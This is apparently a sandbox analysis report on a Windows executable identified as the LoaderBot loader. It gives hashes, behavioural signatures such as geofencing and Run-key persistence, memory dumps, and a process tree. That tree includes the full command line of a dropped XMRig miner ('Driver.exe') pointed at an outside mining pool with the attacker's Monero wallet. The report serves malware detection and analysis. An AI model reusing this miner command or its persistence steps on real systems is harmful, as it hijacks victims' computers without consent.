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Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/08/2024, 19:12

General

  • Target

    0x0007000000023491-84.exe

  • Size

    4.0MB

  • MD5

    8fccb79bcb06003b60601a384a350791

  • SHA1

    f119fd4eb8e10640493c55e90b3213705affca30

  • SHA256

    2c97296ca64dbd00ae6b4eafd79a941a490ef55ccf7f37f6f56758d851a5deaa

  • SHA512

    6cd32193d086e5b4a122581472103b03b2f446803874c53b2d1a0d7af7d768805de1bf65a8e526c963064fb1bdab1508cfc4d0607dc276375c6d760fb1448a4c

  • SSDEEP

    49152:tNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:7zP88fBsnZTgOtqB3m1RC3

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 16 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x0007000000023491-84.exe
    "C:\Users\Admin\AppData\Local\Temp\0x0007000000023491-84.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 41wJSADBgtMYhLGiEm4cGn7Nto2pWgVbMS14myvSGXFRBhSxmZ2MauKLWBU1enJXVkiNHuZBEZuhaRnWoqEfh7r74f72bYr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 41wJSADBgtMYhLGiEm4cGn7Nto2pWgVbMS14myvSGXFRBhSxmZ2MauKLWBU1enJXVkiNHuZBEZuhaRnWoqEfh7r74f72bYr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2748
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 41wJSADBgtMYhLGiEm4cGn7Nto2pWgVbMS14myvSGXFRBhSxmZ2MauKLWBU1enJXVkiNHuZBEZuhaRnWoqEfh7r74f72bYr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:536

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • memory/2748-32-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-35-0x0000000013180000-0x00000000131A0000-memory.dmp

    Filesize

    128KB

  • memory/2748-48-0x0000000012E50000-0x0000000012E70000-memory.dmp

    Filesize

    128KB

  • memory/2748-49-0x0000000013180000-0x00000000131A0000-memory.dmp

    Filesize

    128KB

  • memory/2748-51-0x00000000137E0000-0x0000000013800000-memory.dmp

    Filesize

    128KB

  • memory/2748-34-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-50-0x00000000134B0000-0x00000000134D0000-memory.dmp

    Filesize

    128KB

  • memory/2748-22-0x0000000001FF0000-0x0000000002010000-memory.dmp

    Filesize

    128KB

  • memory/2748-23-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-25-0x0000000012E50000-0x0000000012E70000-memory.dmp

    Filesize

    128KB

  • memory/2748-24-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-26-0x0000000013180000-0x00000000131A0000-memory.dmp

    Filesize

    128KB

  • memory/2748-28-0x00000000134B0000-0x00000000134D0000-memory.dmp

    Filesize

    128KB

  • memory/2748-47-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-29-0x00000000137E0000-0x0000000013800000-memory.dmp

    Filesize

    128KB

  • memory/2748-46-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-31-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-45-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-44-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-33-0x0000000012E50000-0x0000000012E70000-memory.dmp

    Filesize

    128KB

  • memory/2748-43-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-36-0x00000000134B0000-0x00000000134D0000-memory.dmp

    Filesize

    128KB

  • memory/2748-37-0x00000000137E0000-0x0000000013800000-memory.dmp

    Filesize

    128KB

  • memory/2748-38-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-39-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-40-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-41-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2748-42-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2872-4-0x00000000057D0000-0x0000000005836000-memory.dmp

    Filesize

    408KB

  • memory/2872-0-0x0000000074A3E000-0x0000000074A3F000-memory.dmp

    Filesize

    4KB

  • memory/2872-30-0x0000000074A30000-0x00000000751E0000-memory.dmp

    Filesize

    7.7MB

  • memory/2872-27-0x0000000074A3E000-0x0000000074A3F000-memory.dmp

    Filesize

    4KB

  • memory/2872-1-0x0000000000790000-0x0000000000B8E000-memory.dmp

    Filesize

    4.0MB

  • memory/2872-5-0x0000000074A30000-0x00000000751E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3432-17-0x0000000001FE0000-0x0000000001FF4000-memory.dmp

    Filesize

    80KB

  • memory/3432-19-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/3432-16-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB